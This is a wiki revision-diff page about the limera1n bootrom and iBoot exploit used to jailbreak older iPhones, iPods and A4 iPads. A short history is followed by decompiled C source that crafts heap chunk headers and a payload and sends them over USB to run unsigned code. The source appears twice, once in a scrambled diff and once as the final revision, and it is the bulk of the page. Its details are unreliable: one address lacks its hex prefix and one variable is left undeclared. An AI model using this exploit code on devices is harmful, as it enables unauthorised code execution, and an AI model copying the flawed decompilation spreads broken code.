The iPhone Wiki is no longer updated. Visit this article on The Apple Wiki for current information. |
Difference between revisions of "Limera1n Exploit"
m (starting some indentations...) |
m |
||
(30 intermediate revisions by 12 users not shown) | |||
Line 1: | Line 1: | ||
+ | {{lowercase}} |
||
− | Limera1n exploit is the [[bootrom]] exploit used to jailbreak the [[N88ap|iPhone 3GS]], [[N18ap|iPod touch 3G]], [[N81ap|iPod touch 4G]], [[K48ap|iPad]], [[N90ap|iPhone 4 GSM]], [[N92ap|iPhone 4 CDMA]], and the [[K66ap|Apple TV 2G]]. It was first used in the [[Limera1n]] tool by [[geohot]]. It is actively used on all the supported devices to jailbreak current versions of [[iOS]], usually a [[tethered jailbreak]] unless there is an untether created. |
||
+ | The '''limera1n exploit''' is the [[bootrom]] and [[iBoot (Bootloader)|iBoot]] exploit used to run unsigned code (and thereby jailbreak) the [[N18AP|iPod touch (3rd generation)]], the [[N88AP|iPhone 3GS]] and all [[S5L8930|A4]]-based devices. First used in the [[limera1n]] tool by [[User:geohot|geohot]], it can perform a [[tethered jailbreak]] on the aforementioned devices. The jailbreak can then be turned into an [[untethered jailbreak]] with other exploits, such as the [[0x24000 Segment Overflow]] or the [[Packet Filter Kernel Exploit]]. |
||
+ | |||
+ | limera1n was the most recent publicly disclosed bootrom exploit until the disclosure of the [[alloc8 Exploit]] in {{date|2017|04}}. The last device released vulnerable to limera1n is the [[N90BAP|iPhone 4 (iPhone3,2)]], and it remains the only publicly disclosed bootrom exploit, other than [[SHAtter]], for this device as well as all other variants of the [[iPhone 4]]. |
||
==Source Code== |
==Source Code== |
||
+ | signed int __cdecl upload_exploit() { |
||
− | <pre> |
||
+ | int device_type; |
||
− | signed int __cdecl upload_exploit()
{ |
||
+ | signed int payload_address; |
||
− |
int v0; // eax@1
|
||
− | + | int free_address; |
|
+ | int deviceerror; |
||
− |
int v2; // ebx@2 |
||
+ | char *chunk_headers_ptr; |
||
− |
int v3; // eax@4
|
||
+ | unsigned int sent_counter; |
||
− | char *v4; // eax@5 |
||
+ | signed int result; |
||
− |
int v6; // ecx@14 |
||
− | + | //signed int v8; |
|
− | + | int recv_error_code; |
|
+ | signed int payload_address2; |
||
− |
int v9; // eax@28
|
||
+ | char payload; |
||
− | signed int v11; // [sp+3Ch] [bp-102Ch]@2
|
||
+ | //int v14; |
||
− |
char v13; // [sp+84Ch] [bp-81Ch]@5
|
||
+ | //v14 = *MK_FP(__GS__, 20); |
||
− | int v14; // [sp+104Ch] [bp-1Ch]@1 |
||
− | + | device_type = *(_DWORD *)(device + 16); |
|
+ | |||
− | v0 = *(_DWORD *)(device + 16);
|
||
− | + | padding_size = 0x2A800; |
|
− | + | payload_address = 0x8402B001; |
|
− | + | free_address = 0x8403BF9C; |
|
− | + | } else { |
|
− | + | payload_address = 0x84023001; |
|
− | + | padding_size = 0x22800; |
|
− | + | // free_address = (((device_type == 8920) – 1) & 0xFFFFFFF4) – 0x7BFCC05C; |
|
+ | if(device_type == 8920) free_address = 0x84033FA4; |
||
− |
}
|
||
+ | else free_address = 84033F98; |
||
− | memset(&v12, 0, 0×800u);
|
||
+ | } |
||
− | memcpy(&v12, exploit, 0×230u); |
||
+ | |||
− |
if ( libpois0n_debug )
{
|
||
+ | memcpy(&payload, exploit, 0x230); |
||
− |
((void (__cdecl *)(int, signed int, _DWORD))__fprintf_chk)(stderr, 1, “Resetting device counters\n”); |
||
+ | |||
− |
v1 = v8;
|
||
+ | if (libpois0n_debug) { |
||
− | }
|
||
+ | //v8 = payload_address; |
||
− | v10 = v1;
|
||
+ | fprintf(stderr, 1, "Resetting device counters\n"); |
||
− | v3 = irecv_reset_counters(client); |
||
+ | //payload_address = v8; |
||
− |
if ( v3 )
{
|
||
+ | } |
||
− | irecv_strerror(v3);
|
||
+ | |||
− | __fprintf_chk(stderr, 1, &aCannotFindS[12]);
|
||
+ | payload_address2 = payload_address; |
||
− | result = -1;
|
||
+ | deviceerror = irecv_reset_counters(client); |
||
− | }
else
{
|
||
+ | |||
− | memset(&v13, -858993460, 0×800u); |
||
+ | if ( deviceerror ) { |
||
− |
v4 = &v13;
|
||
+ | irecv_strerror(deviceerror); |
||
− | do
{
|
||
+ | fprintf(stderr, 1, &aCannotFindS[12]); |
||
− | *(_DWORD *)v4 = 1029;
|
||
+ | result = -1; |
||
− | *((_DWORD *)v4 + 1) = 257; |
||
+ | } else { |
||
− |
*((_DWORD *)v4 + 2) = v10;
|
||
+ | memset(&chunk_headers, 0xCC, 0x800); |
||
− | *((_DWORD *)v4 + 3) = v2;
|
||
+ | chunk_headers_ptr = &chunk_headers; |
||
− | v4 += 64; |
||
+ | |||
− |
}
|
||
+ | do { |
||
− | while ( (int *)v4 != &v14 ); |
||
+ | *(_DWORD *)chunk_headers_ptr = 1029; |
||
− |
if ( libpois0n_debug )
((void (__cdecl *)(int, signed int, _DWORD))__fprintf_chk)(stderr, 1, “Sending chunk headers\n”); |
||
+ | *((_DWORD *)chunk_headers_ptr + 1) = 257; |
||
− |
v5 = 0; |
||
+ | *((_DWORD *)chunk_headers_ptr + 2) = payload_address2; |
||
− |
irecv_control_transfer(client, 33, 1, 0, 0, &v13, 2048);
|
||
+ | *((_DWORD *)chunk_headers_ptr + 3) = free_address; |
||
− | memset(&v13, -858993460, 0×800u);
|
||
+ | chunk_headers_ptr += 64; |
||
− | do
{
|
||
+ | } while ((int *)chunk_headers_ptr != &v14); |
||
− | v5 += 2048; |
||
+ | |||
− |
irecv_control_transfer(client, 33, 1, 0, 0, &v13, 2048); |
||
+ | if (libpois0n_debug) |
||
− |
} |
||
+ | fprintf(stderr, 1, "Sending chunk headers\n"); |
||
− |
while ( v5 < v11 ); |
||
+ | |||
− |
if ( libpois0n_debug ) |
||
+ | sent_counter = 0; |
||
− |
((void (__cdecl *)(_DWORD, _DWORD, _DWORD))__fprintf_chk)(stderr, 1, "Sending exploit payload\n"); |
||
+ | memset(&chunk_headers, 0xCC, 0x800); |
||
− |
if ( libpois0n_debug ) |
||
+ | |||
− |
((void (__cdecl *)(_DWORD, _DWORD, _DWORD))__fprintf_chk)(stderr, 1, "Sending fake data\n");
|
||
+ | do { |
||
− | memset(&v13, -1145324613, 0x800u);
|
||
+ | sent_counter += 0x800; |
||
− | irecv_control_transfer(client, 161, 1, 0, 0, &v13, 2048);
|
||
+ | } while (sent_counter < padding_size); |
||
− |
if ( libpois0n_debug )
|
||
+ | |||
− | ((void (__cdecl *)(_DWORD, _DWORD, _DWORD))__fprintf_chk)(stderr, 1, "Executing exploit\n"); |
||
+ | if (libpois0n_debug) |
||
− |
irecv_control_transfer(client, 33, 2, 0, 0, &v13, 0); |
||
+ | fprintf(stderr, 1, "Sending exploit payload\n"); |
||
− |
irecv_reset(client); |
||
+ | |||
− |
irecv_finish_transfer(client);
|
||
+ | irecv_control_transfer(client, 0x21, 1, 0, 0, &payload, 0x800); |
||
− | if ( libpois0n_debug )
{ |
||
+ | |||
− |
((void (__cdecl *)(_DWORD, _DWORD, _DWORD))__fprintf_chk)(stderr, 1, "Exploit sent\n"); |
||
+ | if (libpois0n_debug) |
||
− |
if ( libpois0n_debug )
|
||
+ | |||
− | } |
||
+ | memset(&chunk_headers, 0xBB, 0x800); |
||
− |
client = (void *)irecv_reconnect(client, 2u); |
||
+ | irecv_control_transfer(client, 0xA1, 1, 0, 0, &chunk_headers, 0x800); |
||
− |
if ( client )
{
result = 0;
|
||
+ | irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800); |
||
− | }
else
{ |
||
+ | |||
− |
if ( libpois0n_debug )
{
|
||
+ | if (libpois0n_debug) |
||
− | v9 = irecv_strerror(0); |
||
+ | |||
− | }
|
||
+ | irecv_control_transfer(client, 0x21, 2, 0, 0, &chunk_headers, 0); |
||
− | __fprintf_chk(stderr, 1, "Unable to reconnect\n");
|
||
+ | irecv_reset(client); |
||
− | result = -1;
|
||
+ | irecv_finish_transfer(client); |
||
− | }
|
||
+ | |||
− | } |
||
+ | if (libpois0n_debug) { |
||
− |
if ( *MK_FP(__GS__, 20) != v14 )
|
||
+ | fprintf(stderr, 1, "Exploit sent\n"); |
||
− | __stack_chk_fail(v6, *MK_FP(__GS__, 20) ^ v14);
|
||
+ | if (libpois0n_debug) |
||
− | return result;
|
||
+ | fprintf(stderr, 1, "Reconnecting to device\n"); |
||
− | } |
||
+ | } |
||
− | </pre> |
||
− | + | //int v6; |
|
− | signed int |
+ | signed int padding_size; |
− | char |
+ | char chunk_headers; |
− | if ( |
+ | if ( device_type == 8930 ) { |
− | + | memset(&payload, 0, 0x800); |
|
− | + | irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800); |
|
− | irecv_control_transfer(client, |
+ | irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800); |
− | + | fprintf(stderr, 1, "Sending fake data\n"); |
|
− | + | fprintf(stderr, 1, "Executing exploit\n"); |
|
+ | |||
+ | client = (void *)irecv_reconnect(client, 2); |
||
+ | |||
+ | if (client) { |
||
+ | result = 0; |
||
+ | } else { |
||
+ | if (libpois0n_debug) { |
||
+ | recv_error_code = irecv_strerror(0); |
||
+ | fprintf(stderr, 1, &aCannotFindS[12], recv_error_code); |
||
+ | } |
||
+ | fprintf(stderr, 1, "Unable to reconnect\n"); |
||
+ | result = -1; |
||
+ | } |
||
+ | } |
||
+ | |||
+ | // compiler stack check |
||
+ | //if (*MK_FP(__GS__, 20) != v14) |
||
+ | // __stack_chk_fail(v6, *MK_FP(__GS__, 20) ^ v14); |
||
+ | |||
+ | return result; |
||
+ | } |
||
− | [[Category:Exploits |
+ | [[Category:Exploits]] |
+ | [[Category:Bootrom Exploits]] |
||
+ | [[Category:iBoot Exploits]] |
Latest revision as of 16:18, 22 May 2022
The limera1n exploit is the bootrom and iBoot exploit used to run unsigned code (and thereby jailbreak) the iPod touch (3rd generation), the iPhone 3GS and all A4-based devices. First used in the limera1n tool by geohot, it can perform a tethered jailbreak on the aforementioned devices. The jailbreak can then be turned into an untethered jailbreak with other exploits, such as the 0x24000 Segment Overflow or the Packet Filter Kernel Exploit.
limera1n was the most recent publicly disclosed bootrom exploit until the disclosure of the alloc8 Exploit in April 2017. The last device released vulnerable to limera1n is the iPhone 4 (iPhone3,2), and it remains the only publicly disclosed bootrom exploit, other than SHAtter, for this device as well as all other variants of the iPhone 4.
Source Code
signed int __cdecl upload_exploit() { int device_type; signed int payload_address; int free_address; int deviceerror; char *chunk_headers_ptr; unsigned int sent_counter; //int v6; signed int result; //signed int v8; int recv_error_code; signed int payload_address2; signed int padding_size; char payload; char chunk_headers; //int v14; //v14 = *MK_FP(__GS__, 20); device_type = *(_DWORD *)(device + 16); if ( device_type == 8930 ) { padding_size = 0x2A800; payload_address = 0x8402B001; free_address = 0x8403BF9C; } else { payload_address = 0x84023001; padding_size = 0x22800; // free_address = (((device_type == 8920) – 1) & 0xFFFFFFF4) – 0x7BFCC05C; if(device_type == 8920) free_address = 0x84033FA4; else free_address = 84033F98; } memset(&payload, 0, 0x800); memcpy(&payload, exploit, 0x230); if (libpois0n_debug) { //v8 = payload_address; fprintf(stderr, 1, "Resetting device counters\n"); //payload_address = v8; } payload_address2 = payload_address; deviceerror = irecv_reset_counters(client); if ( deviceerror ) { irecv_strerror(deviceerror); fprintf(stderr, 1, &aCannotFindS[12]); result = -1; } else { memset(&chunk_headers, 0xCC, 0x800); chunk_headers_ptr = &chunk_headers; do { *(_DWORD *)chunk_headers_ptr = 1029; *((_DWORD *)chunk_headers_ptr + 1) = 257; *((_DWORD *)chunk_headers_ptr + 2) = payload_address2; *((_DWORD *)chunk_headers_ptr + 3) = free_address; chunk_headers_ptr += 64; } while ((int *)chunk_headers_ptr != &v14); if (libpois0n_debug) fprintf(stderr, 1, "Sending chunk headers\n"); sent_counter = 0; irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800); memset(&chunk_headers, 0xCC, 0x800); do { sent_counter += 0x800; irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800); } while (sent_counter < padding_size); if (libpois0n_debug) fprintf(stderr, 1, "Sending exploit payload\n"); irecv_control_transfer(client, 0x21, 1, 0, 0, &payload, 0x800); if (libpois0n_debug) fprintf(stderr, 1, "Sending fake data\n"); memset(&chunk_headers, 0xBB, 0x800); irecv_control_transfer(client, 0xA1, 1, 0, 0, &chunk_headers, 0x800); irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800); if (libpois0n_debug) fprintf(stderr, 1, "Executing exploit\n"); irecv_control_transfer(client, 0x21, 2, 0, 0, &chunk_headers, 0); irecv_reset(client); irecv_finish_transfer(client); if (libpois0n_debug) { fprintf(stderr, 1, "Exploit sent\n"); if (libpois0n_debug) fprintf(stderr, 1, "Reconnecting to device\n"); } client = (void *)irecv_reconnect(client, 2); if (client) { result = 0; } else { if (libpois0n_debug) { recv_error_code = irecv_strerror(0); fprintf(stderr, 1, &aCannotFindS[12], recv_error_code); } fprintf(stderr, 1, "Unable to reconnect\n"); result = -1; } } // compiler stack check //if (*MK_FP(__GS__, 20) != v14) // __stack_chk_fail(v6, *MK_FP(__GS__, 20) ^ v14); return result; }